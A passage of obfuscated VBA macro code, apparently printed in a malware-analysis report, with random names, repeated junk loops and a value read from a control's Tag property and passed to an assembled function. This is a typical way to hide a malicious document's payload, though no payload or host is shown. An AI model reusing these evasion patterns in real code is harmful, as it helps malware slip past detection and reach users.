Z105bmnc7dz96m5vo = N6is805x901k + Join(L6j5ry_nmiueqwyh, U9lxfafqv4v)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Tc2ks2yk48rfj_z2 = Z105bmnc7dz96m5vo
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
End Function
Function Pcvrd2mcfb8y()
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Obtn3uj_ufxi9n_m = Vlhqwo_uap73z7wm4.Uoax8x4c9uuoz9.Tag
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Pcvrd2mcfb8y = Tc2ks2yk48rfj_z2(Obtn3uj_ufxi9n_m)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.